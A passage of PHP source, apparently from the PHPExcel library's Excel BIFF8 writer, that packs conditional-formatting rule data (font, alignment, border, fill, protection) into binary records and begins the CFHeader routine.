		$flags |= (1 == $bShrinkToFit  ? 0x00000040 : 0);
		// Default
		$flags |= (1 == 1              ? 0x00000080 : 0);
		// Protection
		$flags |= (1 == $bProtLocked   ? 0x00000100 : 0);
		$flags |= (1 == $bProtHidden   ? 0x00000200 : 0);
		// Border
		$flags |= (1 == $bBorderLeft   ? 0x00000400 : 0);
		$flags |= (1 == $bBorderRight  ? 0x00000800 : 0);
		$flags |= (1 == $bBorderTop    ? 0x00001000 : 0);
		$flags |= (1 == $bBorderBottom ? 0x00002000 : 0);
		$flags |= (1 == 1              ? 0x00004000 : 0); // Top left to Bottom right border
		$flags |= (1 == 1              ? 0x00008000 : 0); // Bottom left to Top right border
		// Pattern
		$flags |= (1 == $bFillStyle    ? 0x00010000 : 0);
		$flags |= (1 == $bFillColor    ? 0x00020000 : 0);
		$flags |= (1 == $bFillColorBg  ? 0x00040000 : 0);
		$flags |= (1 == 1              ? 0x00380000 : 0);
		// Font
		$flags |= (1 == $bFormatFont   ? 0x04000000 : 0);
	    // Alignment :
		$flags |= (1 == $bFormatAlign  ? 0x08000000 : 0);
		// Border
		$flags |= (1 == $bFormatBorder ? 0x10000000 : 0);
		// Pattern
		$flags |= (1 == $bFormatFill   ? 0x20000000 : 0);
		// Protection
		$flags |= (1 == $bFormatProt   ? 0x40000000 : 0);
		// Text direction
		$flags |= (1 == 0              ? 0x80000000 : 0);

		// Data Blocks
		if($bFormatFont == 1){
			// Font Name
			if($conditional-&gt;getStyle()-&gt;getFont()-&gt;getName() == null){
				$dataBlockFont =  pack('VVVVVVVV', 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000);
				$dataBlockFont .= pack('VVVVVVVV', 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000);
			} else {
				$dataBlockFont = PHPExcel_Shared_String::UTF8toBIFF8UnicodeLong($conditional-&gt;getStyle()-&gt;getFont()-&gt;getName());
			}
			// Font Size
			if($conditional-&gt;getStyle()-&gt;getFont()-&gt;getSize() == null){
				$dataBlockFont .= pack('V', 20 * 11);
			} else {
				$dataBlockFont .= pack('V', 20 * $conditional-&gt;getStyle()-&gt;getFont()-&gt;getSize());
			}
			// Font Options
			$dataBlockFont .= pack('V', 0);
			// Font weight
			if($conditional-&gt;getStyle()-&gt;getFont()-&gt;getBold() == true){
				$dataBlockFont .= pack('v', 0x02BC);
			} else {
				$dataBlockFont .= pack('v', 0x0190);
			}
			// Escapement type
			if($conditional-&gt;getStyle()-&gt;getFont()-&gt;getSubScript() == true){
				$dataBlockFont .= pack('v', 0x02);
				$fontEscapement = 0;
			} else if($conditional-&gt;getStyle()-&gt;getFont()-&gt;getSuperScript() == true){
				$dataBlockFont .= pack('v', 0x01);
				$fontEscapement = 0;
			} else {
				$dataBlockFont .= pack('v', 0x00);
				$fontEscapement = 1;
			}
			// Underline type
			switch ($conditional-&gt;getStyle()-&gt;getFont()-&gt;getUnderline()){
				case PHPExcel_Style_Font::UNDERLINE_NONE             : $dataBlockFont .= pack('C', 0x00); $fontUnderline = 0; break;
				case PHPExcel_Style_Font::UNDERLINE_DOUBLE           : $dataBlockFont .= pack('C', 0x02); $fontUnderline = 0; break;
				case PHPExcel_Style_Font::UNDERLINE_DOUBLEACCOUNTING : $dataBlockFont .= pack('C', 0x22); $fontUnderline = 0; break;
				case PHPExcel_Style_Font::UNDERLINE_SINGLE           : $dataBlockFont .= pack('C', 0x01); $fontUnderline = 0; break;
				case PHPExcel_Style_Font::UNDERLINE_SINGLEACCOUNTING : $dataBlockFont .= pack('C', 0x21); $fontUnderline = 0; break;
				default                                              : $dataBlockFont .= pack('C', 0x00); $fontUnderline = 1; break;
			}
			// Not used (3)
			$dataBlockFont .= pack('vC', 0x0000, 0x00);
			// Font color index
			switch ($conditional-&gt;getStyle()-&gt;getFont()-&gt;getColor()-&gt;getRGB()) {
				case '000000': $colorIdx = 0x08; break;
				case 'FFFFFF': $colorIdx = 0x09; break;
				case 'FF0000': $colorIdx = 0x0A; break;
				case '00FF00': $colorIdx = 0x0B; break;
				case '0000FF': $colorIdx = 0x0C; break;
				case 'FFFF00': $colorIdx = 0x0D; break;
				case 'FF00FF': $colorIdx = 0x0E; break;
				case '00FFFF': $colorIdx = 0x0F; break;
				case '800000': $colorIdx = 0x10; break;
				case '008000': $colorIdx = 0x11; break;
				case '000080': $colorIdx = 0x12; break;
				case '808000': $colorIdx = 0x13; break;
				case '800080': $colorIdx = 0x14; break;
				case '008080': $colorIdx = 0x15; break;
				case 'C0C0C0': $colorIdx = 0x16; break;
				case '808080': $colorIdx = 0x17; break;
				case '9999FF': $colorIdx = 0x18; break;
				case '993366': $colorIdx = 0x19; break;
				case 'FFFFCC': $colorIdx = 0x1A; break;
				case 'CCFFFF': $colorIdx = 0x1B; break;
				case '660066': $colorIdx = 0x1C; break;
				case 'FF8080': $colorIdx = 0x1D; break;
				case '0066CC': $colorIdx = 0x1E; break;
				case 'CCCCFF': $colorIdx = 0x1F; break;
				case '000080': $colorIdx = 0x20; break;
				case 'FF00FF': $colorIdx = 0x21; break;
				case 'FFFF00': $colorIdx = 0x22; break;
				case '00FFFF': $colorIdx = 0x23; break;
				case '800080': $colorIdx = 0x24; break;
				case '800000': $colorIdx = 0x25; break;
				case '008080': $colorIdx = 0x26; break;
				case '0000FF': $colorIdx = 0x27; break;
				case '00CCFF': $colorIdx = 0x28; break;
				case 'CCFFFF': $colorIdx = 0x29; break;
				case 'CCFFCC': $colorIdx = 0x2A; break;
				case 'FFFF99': $colorIdx = 0x2B; break;
				case '99CCFF': $colorIdx = 0x2C; break;
				case 'FF99CC': $colorIdx = 0x2D; break;
				case 'CC99FF': $colorIdx = 0x2E; break;
				case 'FFCC99': $colorIdx = 0x2F; break;
				case '3366FF': $colorIdx = 0x30; break;
				case '33CCCC': $colorIdx = 0x31; break;
				case '99CC00': $colorIdx = 0x32; break;
				case 'FFCC00': $colorIdx = 0x33; break;
				case 'FF9900': $colorIdx = 0x34; break;
				case 'FF6600': $colorIdx = 0x35; break;
				case '666699': $colorIdx = 0x36; break;
				case '969696': $colorIdx = 0x37; break;
				case '003366': $colorIdx = 0x38; break;
				case '339966': $colorIdx = 0x39; break;
				case '003300': $colorIdx = 0x3A; break;
				case '333300': $colorIdx = 0x3B; break;
				case '993300': $colorIdx = 0x3C; break;
				case '993366': $colorIdx = 0x3D; break;
				case '333399': $colorIdx = 0x3E; break;
				case '333333': $colorIdx = 0x3F; break;
				default: $colorIdx = 0x00; break;
			}
			$dataBlockFont .= pack('V', $colorIdx);
			// Not used (4)
			$dataBlockFont .= pack('V', 0x00000000);
			// Options flags for modified font attributes
			$optionsFlags = 0;
			$optionsFlagsBold = ($conditional-&gt;getStyle()-&gt;getFont()-&gt;getBold() == null ? 1 : 0);
			$optionsFlags |= (1 == $optionsFlagsBold  ? 0x00000002 : 0);
			$optionsFlags |= (1 == 1                  ? 0x00000008 : 0);
			$optionsFlags |= (1 == 1                  ? 0x00000010 : 0);
			$optionsFlags |= (1 == 0                  ? 0x00000020 : 0);
			$optionsFlags |= (1 == 1                  ? 0x00000080 : 0);
			$dataBlockFont .= pack('V', $optionsFlags);
			// Escapement type
			$dataBlockFont .= pack('V', $fontEscapement);
			// Underline type
			$dataBlockFont .= pack('V', $fontUnderline);
			// Always
			$dataBlockFont .= pack('V', 0x00000000);
			// Always
			$dataBlockFont .= pack('V', 0x00000000);
			// Not used (8)
			$dataBlockFont .= pack('VV', 0x00000000, 0x00000000);
			// Always
			$dataBlockFont .= pack('v', 0x0001);
		}
		if($bFormatAlign == 1){
			$blockAlign = 0;
			// Alignment and text break
			switch ($conditional-&gt;getStyle()-&gt;getAlignment()-&gt;getHorizontal()){
				case PHPExcel_Style_Alignment::HORIZONTAL_GENERAL 			: $blockAlign = 0; break;
				case PHPExcel_Style_Alignment::HORIZONTAL_LEFT				: $blockAlign = 1; break;
				case PHPExcel_Style_Alignment::HORIZONTAL_RIGHT				: $blockAlign = 3; break;
				case PHPExcel_Style_Alignment::HORIZONTAL_CENTER			: $blockAlign = 2; break;
				case PHPExcel_Style_Alignment::HORIZONTAL_CENTER_CONTINUOUS	: $blockAlign = 6; break;
				case PHPExcel_Style_Alignment::HORIZONTAL_JUSTIFY			: $blockAlign = 5; break;
			}
			if($conditional-&gt;getStyle()-&gt;getAlignment()-&gt;getWrapText() == true){
				$blockAlign |= 1 &lt;&lt; 3;
			} else {
				$blockAlign |= 0 &lt;&lt; 3;
			}
			switch ($conditional-&gt;getStyle()-&gt;getAlignment()-&gt;getVertical()){
				case PHPExcel_Style_Alignment::VERTICAL_BOTTOM 				: $blockAlign = 2 &lt;&lt; 4; break;
				case PHPExcel_Style_Alignment::VERTICAL_TOP					: $blockAlign = 0 &lt;&lt; 4; break;
				case PHPExcel_Style_Alignment::VERTICAL_CENTER				: $blockAlign = 1 &lt;&lt; 4; break;
				case PHPExcel_Style_Alignment::VERTICAL_JUSTIFY				: $blockAlign = 3 &lt;&lt; 4; break;
			}
			$blockAlign |= 0 &lt;&lt; 7;

			// Text rotation angle
			$blockRotation = $conditional-&gt;getStyle()-&gt;getAlignment()-&gt;getTextRotation();

			// Indentation
			$blockIndent = $conditional-&gt;getStyle()-&gt;getAlignment()-&gt;getIndent();
			if($conditional-&gt;getStyle()-&gt;getAlignment()-&gt;getShrinkToFit() == true){
				$blockIndent |= 1 &lt;&lt; 4;
			} else {
				$blockIndent |= 0 &lt;&lt; 4;
			}
			$blockIndent |= 0 &lt;&lt; 6;

			// Relative indentation
			$blockIndentRelative = 255;

			$dataBlockAlign = pack('CCvvv', $blockAlign, $blockRotation, $blockIndent, $blockIndentRelative, 0x0000);
		}
		if($bFormatBorder == 1){
			$blockLineStyle = 0;
			switch ($conditional-&gt;getStyle()-&gt;getBorders()-&gt;getLeft()-&gt;getBorderStyle()){
				case PHPExcel_Style_Border::BORDER_NONE              : $blockLineStyle |= 0x00; break;
				case PHPExcel_Style_Border::BORDER_THIN              : $blockLineStyle |= 0x01; break;
				case PHPExcel_Style_Border::BORDER_MEDIUM            : $blockLineStyle |= 0x02; break;
				case PHPExcel_Style_Border::BORDER_DASHED            : $blockLineStyle |= 0x03; break;
				case PHPExcel_Style_Border::BORDER_DOTTED            : $blockLineStyle |= 0x04; break;
				case PHPExcel_Style_Border::BORDER_THICK             : $blockLineStyle |= 0x05; break;
				case PHPExcel_Style_Border::BORDER_DOUBLE            : $blockLineStyle |= 0x06; break;
				case PHPExcel_Style_Border::BORDER_HAIR              : $blockLineStyle |= 0x07; break;
				case PHPExcel_Style_Border::BORDER_MEDIUMDASHED      : $blockLineStyle |= 0x08; break;
				case PHPExcel_Style_Border::BORDER_DASHDOT           : $blockLineStyle |= 0x09; break;
				case PHPExcel_Style_Border::BORDER_MEDIUMDASHDOT     : $blockLineStyle |= 0x0A; break;
				case PHPExcel_Style_Border::BORDER_DASHDOTDOT        : $blockLineStyle |= 0x0B; break;
				case PHPExcel_Style_Border::BORDER_MEDIUMDASHDOTDOT  : $blockLineStyle |= 0x0C; break;
				case PHPExcel_Style_Border::BORDER_SLANTDASHDOT      : $blockLineStyle |= 0x0D; break;
			}
			switch ($conditional-&gt;getStyle()-&gt;getBorders()-&gt;getRight()-&gt;getBorderStyle()){
				case PHPExcel_Style_Border::BORDER_NONE              : $blockLineStyle |= 0x00 &lt;&lt; 4; break;
				case PHPExcel_Style_Border::BORDER_THIN              : $blockLineStyle |= 0x01 &lt;&lt; 4; break;
				case PHPExcel_Style_Border::BORDER_MEDIUM            : $blockLineStyle |= 0x02 &lt;&lt; 4; break;
				case PHPExcel_Style_Border::BORDER_DASHED            : $blockLineStyle |= 0x03 &lt;&lt; 4; break;
				case PHPExcel_Style_Border::BORDER_DOTTED            : $blockLineStyle |= 0x04 &lt;&lt; 4; break;
				case PHPExcel_Style_Border::BORDER_THICK             : $blockLineStyle |= 0x05 &lt;&lt; 4; break;
				case PHPExcel_Style_Border::BORDER_DOUBLE            : $blockLineStyle |= 0x06 &lt;&lt; 4; break;
				case PHPExcel_Style_Border::BORDER_HAIR              : $blockLineStyle |= 0x07 &lt;&lt; 4; break;
				case PHPExcel_Style_Border::BORDER_MEDIUMDASHED      : $blockLineStyle |= 0x08 &lt;&lt; 4; break;
				case PHPExcel_Style_Border::BORDER_DASHDOT           : $blockLineStyle |= 0x09 &lt;&lt; 4; break;
				case PHPExcel_Style_Border::BORDER_MEDIUMDASHDOT     : $blockLineStyle |= 0x0A &lt;&lt; 4; break;
				case PHPExcel_Style_Border::BORDER_DASHDOTDOT        : $blockLineStyle |= 0x0B &lt;&lt; 4; break;
				case PHPExcel_Style_Border::BORDER_MEDIUMDASHDOTDOT  : $blockLineStyle |= 0x0C &lt;&lt; 4; break;
				case PHPExcel_Style_Border::BORDER_SLANTDASHDOT      : $blockLineStyle |= 0x0D &lt;&lt; 4; break;
			}
			switch ($conditional-&gt;getStyle()-&gt;getBorders()-&gt;getTop()-&gt;getBorderStyle()){
				case PHPExcel_Style_Border::BORDER_NONE              : $blockLineStyle |= 0x00 &lt;&lt; 8; break;
				case PHPExcel_Style_Border::BORDER_THIN              : $blockLineStyle |= 0x01 &lt;&lt; 8; break;
				case PHPExcel_Style_Border::BORDER_MEDIUM            : $blockLineStyle |= 0x02 &lt;&lt; 8; break;
				case PHPExcel_Style_Border::BORDER_DASHED            : $blockLineStyle |= 0x03 &lt;&lt; 8; break;
				case PHPExcel_Style_Border::BORDER_DOTTED            : $blockLineStyle |= 0x04 &lt;&lt; 8; break;
				case PHPExcel_Style_Border::BORDER_THICK             : $blockLineStyle |= 0x05 &lt;&lt; 8; break;
				case PHPExcel_Style_Border::BORDER_DOUBLE            : $blockLineStyle |= 0x06 &lt;&lt; 8; break;
				case PHPExcel_Style_Border::BORDER_HAIR              : $blockLineStyle |= 0x07 &lt;&lt; 8; break;
				case PHPExcel_Style_Border::BORDER_MEDIUMDASHED      : $blockLineStyle |= 0x08 &lt;&lt; 8; break;
				case PHPExcel_Style_Border::BORDER_DASHDOT           : $blockLineStyle |= 0x09 &lt;&lt; 8; break;
				case PHPExcel_Style_Border::BORDER_MEDIUMDASHDOT     : $blockLineStyle |= 0x0A &lt;&lt; 8; break;
				case PHPExcel_Style_Border::BORDER_DASHDOTDOT        : $blockLineStyle |= 0x0B &lt;&lt; 8; break;
				case PHPExcel_Style_Border::BORDER_MEDIUMDASHDOTDOT  : $blockLineStyle |= 0x0C &lt;&lt; 8; break;
				case PHPExcel_Style_Border::BORDER_SLANTDASHDOT      : $blockLineStyle |= 0x0D &lt;&lt; 8; break;
			}
			switch ($conditional-&gt;getStyle()-&gt;getBorders()-&gt;getBottom()-&gt;getBorderStyle()){
				case PHPExcel_Style_Border::BORDER_NONE              : $blockLineStyle |= 0x00 &lt;&lt; 12; break;
				case PHPExcel_Style_Border::BORDER_THIN              : $blockLineStyle |= 0x01 &lt;&lt; 12; break;
				case PHPExcel_Style_Border::BORDER_MEDIUM            : $blockLineStyle |= 0x02 &lt;&lt; 12; break;
				case PHPExcel_Style_Border::BORDER_DASHED            : $blockLineStyle |= 0x03 &lt;&lt; 12; break;
				case PHPExcel_Style_Border::BORDER_DOTTED            : $blockLineStyle |= 0x04 &lt;&lt; 12; break;
				case PHPExcel_Style_Border::BORDER_THICK             : $blockLineStyle |= 0x05 &lt;&lt; 12; break;
				case PHPExcel_Style_Border::BORDER_DOUBLE            : $blockLineStyle |= 0x06 &lt;&lt; 12; break;
				case PHPExcel_Style_Border::BORDER_HAIR              : $blockLineStyle |= 0x07 &lt;&lt; 12; break;
				case PHPExcel_Style_Border::BORDER_MEDIUMDASHED      : $blockLineStyle |= 0x08 &lt;&lt; 12; break;
				case PHPExcel_Style_Border::BORDER_DASHDOT           : $blockLineStyle |= 0x09 &lt;&lt; 12; break;
				case PHPExcel_Style_Border::BORDER_MEDIUMDASHDOT     : $blockLineStyle |= 0x0A &lt;&lt; 12; break;
				case PHPExcel_Style_Border::BORDER_DASHDOTDOT        : $blockLineStyle |= 0x0B &lt;&lt; 12; break;
				case PHPExcel_Style_Border::BORDER_MEDIUMDASHDOTDOT  : $blockLineStyle |= 0x0C &lt;&lt; 12; break;
				case PHPExcel_Style_Border::BORDER_SLANTDASHDOT      : $blockLineStyle |= 0x0D &lt;&lt; 12; break;
			}
			//@todo _writeCFRule() =&gt; $blockLineStyle =&gt; Index Color for left line
			//@todo _writeCFRule() =&gt; $blockLineStyle =&gt; Index Color for right line
			//@todo _writeCFRule() =&gt; $blockLineStyle =&gt; Top-left to bottom-right on/off
			//@todo _writeCFRule() =&gt; $blockLineStyle =&gt; Bottom-left to top-right on/off
			$blockColor = 0;
			//@todo _writeCFRule() =&gt; $blockColor =&gt; Index Color for top line
			//@todo _writeCFRule() =&gt; $blockColor =&gt; Index Color for bottom line
			//@todo _writeCFRule() =&gt; $blockColor =&gt; Index Color for diagonal line
			switch ($conditional-&gt;getStyle()-&gt;getBorders()-&gt;getDiagonal()-&gt;getBorderStyle()){
				case PHPExcel_Style_Border::BORDER_NONE              : $blockColor |= 0x00 &lt;&lt; 21; break;
				case PHPExcel_Style_Border::BORDER_THIN              : $blockColor |= 0x01 &lt;&lt; 21; break;
				case PHPExcel_Style_Border::BORDER_MEDIUM            : $blockColor |= 0x02 &lt;&lt; 21; break;
				case PHPExcel_Style_Border::BORDER_DASHED            : $blockColor |= 0x03 &lt;&lt; 21; break;
				case PHPExcel_Style_Border::BORDER_DOTTED            : $blockColor |= 0x04 &lt;&lt; 21; break;
				case PHPExcel_Style_Border::BORDER_THICK             : $blockColor |= 0x05 &lt;&lt; 21; break;
				case PHPExcel_Style_Border::BORDER_DOUBLE            : $blockColor |= 0x06 &lt;&lt; 21; break;
				case PHPExcel_Style_Border::BORDER_HAIR              : $blockColor |= 0x07 &lt;&lt; 21; break;
				case PHPExcel_Style_Border::BORDER_MEDIUMDASHED      : $blockColor |= 0x08 &lt;&lt; 21; break;
				case PHPExcel_Style_Border::BORDER_DASHDOT           : $blockColor |= 0x09 &lt;&lt; 21; break;
				case PHPExcel_Style_Border::BORDER_MEDIUMDASHDOT     : $blockColor |= 0x0A &lt;&lt; 21; break;
				case PHPExcel_Style_Border::BORDER_DASHDOTDOT        : $blockColor |= 0x0B &lt;&lt; 21; break;
				case PHPExcel_Style_Border::BORDER_MEDIUMDASHDOTDOT  : $blockColor |= 0x0C &lt;&lt; 21; break;
				case PHPExcel_Style_Border::BORDER_SLANTDASHDOT      : $blockColor |= 0x0D &lt;&lt; 21; break;
			}
			$dataBlockBorder = pack('vv', $blockLineStyle, $blockColor);
		}
		if($bFormatFill == 1){
			// Fill Patern Style
			$blockFillPatternStyle = 0;
			switch ($conditional-&gt;getStyle()-&gt;getFill()-&gt;getFillType()){
				case PHPExcel_Style_Fill::FILL_NONE						: $blockFillPatternStyle = 0x00; break;
				case PHPExcel_Style_Fill::FILL_SOLID					: $blockFillPatternStyle = 0x01; break;
				case PHPExcel_Style_Fill::FILL_PATTERN_MEDIUMGRAY		: $blockFillPatternStyle = 0x02; break;
				case PHPExcel_Style_Fill::FILL_PATTERN_DARKGRAY			: $blockFillPatternStyle = 0x03; break;
				case PHPExcel_Style_Fill::FILL_PATTERN_LIGHTGRAY		: $blockFillPatternStyle = 0x04; break;
				case PHPExcel_Style_Fill::FILL_PATTERN_DARKHORIZONTAL	: $blockFillPatternStyle = 0x05; break;
				case PHPExcel_Style_Fill::FILL_PATTERN_DARKVERTICAL		: $blockFillPatternStyle = 0x06; break;
				case PHPExcel_Style_Fill::FILL_PATTERN_DARKDOWN			: $blockFillPatternStyle = 0x07; break;
				case PHPExcel_Style_Fill::FILL_PATTERN_DARKUP			: $blockFillPatternStyle = 0x08; break;
				case PHPExcel_Style_Fill::FILL_PATTERN_DARKGRID			: $blockFillPatternStyle = 0x09; break;
				case PHPExcel_Style_Fill::FILL_PATTERN_DARKTRELLIS		: $blockFillPatternStyle = 0x0A; break;
				case PHPExcel_Style_Fill::FILL_PATTERN_LIGHTHORIZONTAL	: $blockFillPatternStyle = 0x0B; break;
				case PHPExcel_Style_Fill::FILL_PATTERN_LIGHTVERTICAL	: $blockFillPatternStyle = 0x0C; break;
				case PHPExcel_Style_Fill::FILL_PATTERN_LIGHTDOWN		: $blockFillPatternStyle = 0x0D; break;
				case PHPExcel_Style_Fill::FILL_PATTERN_LIGHTUP			: $blockFillPatternStyle = 0x0E; break;
				case PHPExcel_Style_Fill::FILL_PATTERN_LIGHTGRID		: $blockFillPatternStyle = 0x0F; break;
				case PHPExcel_Style_Fill::FILL_PATTERN_LIGHTTRELLIS		: $blockFillPatternStyle = 0x10; break;
				case PHPExcel_Style_Fill::FILL_PATTERN_GRAY125			: $blockFillPatternStyle = 0x11; break;
				case PHPExcel_Style_Fill::FILL_PATTERN_GRAY0625			: $blockFillPatternStyle = 0x12; break;
				case PHPExcel_Style_Fill::FILL_GRADIENT_LINEAR			: $blockFillPatternStyle = 0x00; break;	// does not exist in BIFF8
				case PHPExcel_Style_Fill::FILL_GRADIENT_PATH			: $blockFillPatternStyle = 0x00; break;	// does not exist in BIFF8
				default                                                 : $blockFillPatternStyle = 0x00; break;
			}
			// Color
			switch ($conditional-&gt;getStyle()-&gt;getFill()-&gt;getStartColor()-&gt;getRGB()) {
				case '000000': $colorIdxBg = 0x08; break;
				case 'FFFFFF': $colorIdxBg = 0x09; break;
				case 'FF0000': $colorIdxBg = 0x0A; break;
				case '00FF00': $colorIdxBg = 0x0B; break;
				case '0000FF': $colorIdxBg = 0x0C; break;
				case 'FFFF00': $colorIdxBg = 0x0D; break;
				case 'FF00FF': $colorIdxBg = 0x0E; break;
				case '00FFFF': $colorIdxBg = 0x0F; break;
				case '800000': $colorIdxBg = 0x10; break;
				case '008000': $colorIdxBg = 0x11; break;
				case '000080': $colorIdxBg = 0x12; break;
				case '808000': $colorIdxBg = 0x13; break;
				case '800080': $colorIdxBg = 0x14; break;
				case '008080': $colorIdxBg = 0x15; break;
				case 'C0C0C0': $colorIdxBg = 0x16; break;
				case '808080': $colorIdxBg = 0x17; break;
				case '9999FF': $colorIdxBg = 0x18; break;
				case '993366': $colorIdxBg = 0x19; break;
				case 'FFFFCC': $colorIdxBg = 0x1A; break;
				case 'CCFFFF': $colorIdxBg = 0x1B; break;
				case '660066': $colorIdxBg = 0x1C; break;
				case 'FF8080': $colorIdxBg = 0x1D; break;
				case '0066CC': $colorIdxBg = 0x1E; break;
				case 'CCCCFF': $colorIdxBg = 0x1F; break;
				case '000080': $colorIdxBg = 0x20; break;
				case 'FF00FF': $colorIdxBg = 0x21; break;
				case 'FFFF00': $colorIdxBg = 0x22; break;
				case '00FFFF': $colorIdxBg = 0x23; break;
				case '800080': $colorIdxBg = 0x24; break;
				case '800000': $colorIdxBg = 0x25; break;
				case '008080': $colorIdxBg = 0x26; break;
				case '0000FF': $colorIdxBg = 0x27; break;
				case '00CCFF': $colorIdxBg = 0x28; break;
				case 'CCFFFF': $colorIdxBg = 0x29; break;
				case 'CCFFCC': $colorIdxBg = 0x2A; break;
				case 'FFFF99': $colorIdxBg = 0x2B; break;
				case '99CCFF': $colorIdxBg = 0x2C; break;
				case 'FF99CC': $colorIdxBg = 0x2D; break;
				case 'CC99FF': $colorIdxBg = 0x2E; break;
				case 'FFCC99': $colorIdxBg = 0x2F; break;
				case '3366FF': $colorIdxBg = 0x30; break;
				case '33CCCC': $colorIdxBg = 0x31; break;
				case '99CC00': $colorIdxBg = 0x32; break;
				case 'FFCC00': $colorIdxBg = 0x33; break;
				case 'FF9900': $colorIdxBg = 0x34; break;
				case 'FF6600': $colorIdxBg = 0x35; break;
				case '666699': $colorIdxBg = 0x36; break;
				case '969696': $colorIdxBg = 0x37; break;
				case '003366': $colorIdxBg = 0x38; break;
				case '339966': $colorIdxBg = 0x39; break;
				case '003300': $colorIdxBg = 0x3A; break;
				case '333300': $colorIdxBg = 0x3B; break;
				case '993300': $colorIdxBg = 0x3C; break;
				case '993366': $colorIdxBg = 0x3D; break;
				case '333399': $colorIdxBg = 0x3E; break;
				case '333333': $colorIdxBg = 0x3F; break;
				default:       $colorIdxBg = 0x41; break;
			}
			// Fg Color
			switch ($conditional-&gt;getStyle()-&gt;getFill()-&gt;getEndColor()-&gt;getRGB()) {
				case '000000': $colorIdxFg = 0x08; break;
				case 'FFFFFF': $colorIdxFg = 0x09; break;
				case 'FF0000': $colorIdxFg = 0x0A; break;
				case '00FF00': $colorIdxFg = 0x0B; break;
				case '0000FF': $colorIdxFg = 0x0C; break;
				case 'FFFF00': $colorIdxFg = 0x0D; break;
				case 'FF00FF': $colorIdxFg = 0x0E; break;
				case '00FFFF': $colorIdxFg = 0x0F; break;
				case '800000': $colorIdxFg = 0x10; break;
				case '008000': $colorIdxFg = 0x11; break;
				case '000080': $colorIdxFg = 0x12; break;
				case '808000': $colorIdxFg = 0x13; break;
				case '800080': $colorIdxFg = 0x14; break;
				case '008080': $colorIdxFg = 0x15; break;
				case 'C0C0C0': $colorIdxFg = 0x16; break;
				case '808080': $colorIdxFg = 0x17; break;
				case '9999FF': $colorIdxFg = 0x18; break;
				case '993366': $colorIdxFg = 0x19; break;
				case 'FFFFCC': $colorIdxFg = 0x1A; break;
				case 'CCFFFF': $colorIdxFg = 0x1B; break;
				case '660066': $colorIdxFg = 0x1C; break;
				case 'FF8080': $colorIdxFg = 0x1D; break;
				case '0066CC': $colorIdxFg = 0x1E; break;
				case 'CCCCFF': $colorIdxFg = 0x1F; break;
				case '000080': $colorIdxFg = 0x20; break;
				case 'FF00FF': $colorIdxFg = 0x21; break;
				case 'FFFF00': $colorIdxFg = 0x22; break;
				case '00FFFF': $colorIdxFg = 0x23; break;
				case '800080': $colorIdxFg = 0x24; break;
				case '800000': $colorIdxFg = 0x25; break;
				case '008080': $colorIdxFg = 0x26; break;
				case '0000FF': $colorIdxFg = 0x27; break;
				case '00CCFF': $colorIdxFg = 0x28; break;
				case 'CCFFFF': $colorIdxFg = 0x29; break;
				case 'CCFFCC': $colorIdxFg = 0x2A; break;
				case 'FFFF99': $colorIdxFg = 0x2B; break;
				case '99CCFF': $colorIdxFg = 0x2C; break;
				case 'FF99CC': $colorIdxFg = 0x2D; break;
				case 'CC99FF': $colorIdxFg = 0x2E; break;
				case 'FFCC99': $colorIdxFg = 0x2F; break;
				case '3366FF': $colorIdxFg = 0x30; break;
				case '33CCCC': $colorIdxFg = 0x31; break;
				case '99CC00': $colorIdxFg = 0x32; break;
				case 'FFCC00': $colorIdxFg = 0x33; break;
				case 'FF9900': $colorIdxFg = 0x34; break;
				case 'FF6600': $colorIdxFg = 0x35; break;
				case '666699': $colorIdxFg = 0x36; break;
				case '969696': $colorIdxFg = 0x37; break;
				case '003366': $colorIdxFg = 0x38; break;
				case '339966': $colorIdxFg = 0x39; break;
				case '003300': $colorIdxFg = 0x3A; break;
				case '333300': $colorIdxFg = 0x3B; break;
				case '993300': $colorIdxFg = 0x3C; break;
				case '993366': $colorIdxFg = 0x3D; break;
				case '333399': $colorIdxFg = 0x3E; break;
				case '333333': $colorIdxFg = 0x3F; break;
				default:       $colorIdxFg = 0x40; break;
			}
			$dataBlockFill = pack('v', $blockFillPatternStyle);
			$dataBlockFill .= pack('v', $colorIdxFg | ($colorIdxBg &lt;&lt; 7));
		}
		if($bFormatProt == 1){
			$dataBlockProtection = 0;
			if($conditional-&gt;getStyle()-&gt;getProtection()-&gt;getLocked() == PHPExcel_Style_Protection::PROTECTION_PROTECTED){
				$dataBlockProtection = 1;
			}
			if($conditional-&gt;getStyle()-&gt;getProtection()-&gt;getHidden() == PHPExcel_Style_Protection::PROTECTION_PROTECTED){
				$dataBlockProtection = 1 &lt;&lt; 1;
			}
		}

		$data	  = pack('CCvvVv', $type, $operatorType, $szValue1, $szValue2, $flags, 0x0000);
		if($bFormatFont == 1){ // Block Formatting : OK
			$data .= $dataBlockFont;
		}
		if($bFormatAlign == 1){
			$data .= $dataBlockAlign;
		}
		if($bFormatBorder == 1){
			$data .= $dataBlockBorder;
		}
		if($bFormatFill == 1){ // Block Formatting : OK
			$data .= $dataBlockFill;
		}
		if($bFormatProt == 1){
			$data .= $dataBlockProtection;
		}
		if(!is_null($operand1)){
			$data .= $operand1;
		}
		if(!is_null($operand2)){
			$data .= $operand2;
		}
		$header	  = pack('vv', $record, strlen($data));
		$this-&gt;_append($header . $data);
	}

	/**
	 * Write CFHeader record
	 */
	private function _writeCFHeader(){
		$record	  = 0x01B0;			   // Record identifier
		$length	  = 0x0016;			   // Bytes to follow

		$numColumnMin = null;
		$numColumnMax = null;
		$numRowMin = null;
		$numRowMax = null;
		$arrConditional = array();
		foreach ($this-&gt;_phpSheet-&gt;getConditionalStylesCollection() as $cellCoordinate =&gt; $conditionalStyles) {
			foreach ($conditionalStyles as $conditional) {
				if($conditional-&gt;getConditionType() == PHPExcel_Style_Conditional::CONDITION_EXPRESSION
						|| $conditional-&gt;getConditionType() == PHPExcel_Style_Conditional::CONDITION_CELLIS){
					if(!in_array($conditional-&gt;getHashCode(), $arrConditional)){
						$arrConditional[] = $conditional-&gt;getHashCode();
					}
					// Cells
					$arrCoord = PHPExcel_Cell::coordinateFromString($cellCoordinate);
					if(!is_numeric($arrCoord[0])){
						$arrCoord[0] = PHPExcel_Cell::columnIndexFromString($arrCoord[0]);
					}
					if(is_null($numColumnMin) || ($numColumnMin &gt; $arrCoord[0])){
						$numColumnMin = $arrCoord[0];
					}
					if(is_null($numColumnMax) || ($numColumnMax &lt; $arrCoord[0])){
						$numColumnMax = $arrCoord[0];
					}
					if(is_null($numRowMin) || ($numRowMin &gt; $arrCoord[1])){
						$numRowMin = $arrCoord[1];
					}
